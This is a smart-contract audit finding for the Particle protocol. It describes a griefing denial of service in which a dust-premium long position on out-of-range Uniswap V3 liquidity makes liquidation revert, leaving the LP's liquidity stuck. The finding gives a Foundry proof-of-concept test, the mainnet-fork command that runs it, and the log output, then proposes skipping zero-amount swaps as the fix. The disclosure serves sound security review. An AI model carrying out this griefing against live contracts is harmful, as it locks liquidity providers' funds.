When LP provide uniswap V3 position using ParticlePositionManager that have range outside of active price, it can be DoSed by opening position of all the provided liquidity.
When LPs provide a Uniswap V3 position that is currently outside the active range, the available token to borrow is either all of token0 or all of token1, depending on the current price tick position (below the lower tick or higher than the upper tick). Which means the value of required collateral for the non-zero token is equal to repay amount.
Here is how collateral is calculated :
<https://github.com/code-423n4/2023-12-particle/blob/main/contracts/libraries/Base.sol#L153-L161>
function getRequiredCollateral(
uint128 liquidity,
int24 tickLower,
int24 tickUpper
) internal pure returns (uint256 amount0, uint256 amount1) {
uint160 sqrtRatioAX96 = TickMath.getSqrtRatioAtTick(tickLower);
uint160 sqrtRatioBX96 = TickMath.getSqrtRatioAtTick(tickUpper);
(amount0, amount1) = LiquidityAmounts.getAmountsForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
}
function getAmountsForLiquidity(
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0, uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
amount0 =
FullMath.mulDiv(
uint256(liquidity) << FixedPoint96.RESOLUTION,
sqrtRatioBX96 - sqrtRatioAX96,
sqrtRatioBX96
) /
sqrtRatioAX96;
amount1 = FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96);
}
And here is how required repay is calculated :
<https://github.com/code-423n4/2023-12-particle/blob/main/contracts/libraries/Base.sol#L163-L192>
function getRequiredRepay(
uint128 liquidity,
uint256 tokenId
) internal view returns (uint256 amount0, uint256 amount1) {
DataCache.RepayCache memory repayCache;
(
,
,
repayCache.token0,
repayCache.token1,
repayCache.fee,
repayCache.tickLower,
repayCache.tickUpper,
,
,
,
,
) = UNI_POSITION_MANAGER.positions(tokenId);
IUniswapV3Pool pool = IUniswapV3Pool(UNI_FACTORY.getPool(repayCache.token0, repayCache.token1, repayCache.fee));
(repayCache.sqrtRatioX96, , , , , , ) = pool.slot0();
repayCache.sqrtRatioAX96 = TickMath.getSqrtRatioAtTick(repayCache.tickLower);
repayCache.sqrtRatioBX96 = TickMath.getSqrtRatioAtTick(repayCache.tickUpper);
(amount0, amount1) = LiquidityAmounts.getAmountsForLiquidity(
repayCache.sqrtRatioX96,
repayCache.sqrtRatioAX96,
repayCache.sqrtRatioBX96,
liquidity
);
}
function getAmountsForLiquidity(
uint160 sqrtRatioX96,
uint160 sqrtRatioAX96,
uint160 sqrtRatioBX96,
uint128 liquidity
) internal pure returns (uint256 amount0, uint256 amount1) {
if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96);
if (sqrtRatioX96 <= sqrtRatioAX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
} else if (sqrtRatioX96 < sqrtRatioBX96) {
amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity);
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity);
} else {
amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity);
}
}
From these information, if a trader for instance open a position with out of range liquidity position and have a range lower than current price, the borrowed/required pay amount consist of only token1 amount. If trader open long position for this liquidity, the collateral amount will be equal to token1 amount.
The problem is that, due to the collateral amount being equal to the borrowed/required pay amount, the swap is not required when closing this position. However, when closing the position, either via closing or liquidation, it is necessary to perform a swap operation
function _closePosition(
DataStruct.ClosePositionParams calldata params,
DataCache.ClosePositionCache memory cache,
Lien.Info memory lien,
address borrower
) internal {
// optimistically use the input numbers to swap for repay
/// @dev amountSwap overspend will be caught by refundWithCheck step in below
>>> (cache.amountSpent, cache.amountReceived) = Base.swap(
cache.tokenFrom,
cache.tokenTo,
params.amountSwap,
0, /// @dev we check cache.amountReceived is sufficient to repay LP in below
DEX_AGGREGATOR,
params.data
);
...
}
If the dex aggregator used is Uniswap, it will not allow providing a 0 swap amount, and the call will always revert. If we provide a dust swap amount (e.g., 1), it will revert due to the following check. Recall that because the collateral amount (cache.collateralFrom) is equal to the borrowed/required pay amount (cache.amountFromAdd), if cache.amountSpent is non-zero and cache.tokenFromPremium is 0, the call will always revert.
if (
cache.amountFromAdd > cache.collateralFrom + cache.tokenFromPremium - cache.amountSpent ||
cache.amountToAdd > cache.amountReceived + cache.tokenToPremium
) {
revert Errors.InsufficientRepay();
}
Griefer can open the mentioned position with providing dust premium token, and unless the price ever hit that range, liquidation will not be possible and the LP position will stuck.
Coded PoC :
LP provide uniswap V3 liquidity with price tick lower than current price, griefer open long position using all provided liquidity, providing 1 marginFrom so swap not revert. After the operation, the position is created with 0 tokenFromPremium. Then the LP decide want to claim back the liquidity and trigger reclaim, wait for the LOAN_TERM (7 days), it still cannot liquidate because of the cache.amountFromAdd > cache.collateralFrom + cache.tokenFromPremium - cache.amountSpent check.
Add this test to test/OpenPosition.t.sol, and also add import “forge-std/console.sol”; to the test contract :
function testLiquidationRevert() public {
address LIQUIDATOR = payable(address(0x7777));
uint128 REPAY_LIQUIDITY_PORTION = 1000;
_setupLowerOutOfRange();
testBaseOpenLongPosition();
// get lien info
(, uint128 liquidityInside, , , , , , ) = particlePositionManager.liens(
keccak256(abi.encodePacked(SWAPPER, uint96(0)))
);
// start reclaim
vm.startPrank(LP);
vm.warp(block.timestamp + 1);
particlePositionManager.reclaimLiquidity(_tokenId);
vm.stopPrank();
// add back liquidity requirement
vm.warp(block.timestamp + 7 days);
IUniswapV3Pool _pool = IUniswapV3Pool(uniswapV3Factory.getPool(address(USDC), address(WETH), FEE));
(uint160 currSqrtRatioX96, , , , , , ) = _pool.slot0();
(uint256 amount0ToReturn, uint256 amount1ToReturn) = LiquidityAmounts.getAmountsForLiquidity(
currSqrtRatioX96,
_sqrtRatioAX96,
_sqrtRatioBX96,
liquidityInside
);
(, uint256 ethCollateral) = particleInfoReader.getRequiredCollateral(liquidityInside, _tickLower, _tickUpper);
// get swap data
uint160 currentPrice = particleInfoReader.getCurrentPrice(address(USDC), address(WETH), FEE);
console.log("amount to return : ");
console.log(amount1ToReturn);
console.log("ethCollateral : ");
console.log(ethCollateral);
uint256 amountSwap = 1;
// uint256 amountSwap = ethCollateral - amount1ToReturn;
ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams({
tokenIn: address(WETH),
tokenOut: address(USDC),
fee: FEE,
recipient: address(particlePositionManager),
deadline: block.timestamp,
amountIn: amountSwap,
amountOutMinimum: 0,
sqrtPriceLimitX96: currentPrice + currentPrice / SLIPPAGE_FACTOR
});
bytes memory data = abi.encodeWithSelector(ISwapRouter.exactInputSingle.selector, params);
// liquidate position
vm.startPrank(LIQUIDATOR);
vm.expectRevert(abi.encodeWithSelector(Errors.InsufficientRepay.selector));
particlePositionManager.liquidatePosition(
DataStruct.ClosePositionParams({lienId: uint96(0), amountSwap: amountSwap, data: data}),
SWAPPER
);
vm.stopPrank();
}
Run the test :
forge test --fork-url $MAINNET_RPC_URL --fork-block-number 18750931 --match-contract OpenPositionTest --match-test testLiquidationRevert -vvv
Log output :
Logs:
amount to return :
499999999999999910
ethCollateral :
499999999999999910
Manual review
Modify the all step that required swap operation, if the provided params.amountSwap is 0, just skip the swap call.
DoS
The text was updated successfully, but these errors were encountered:
All reactions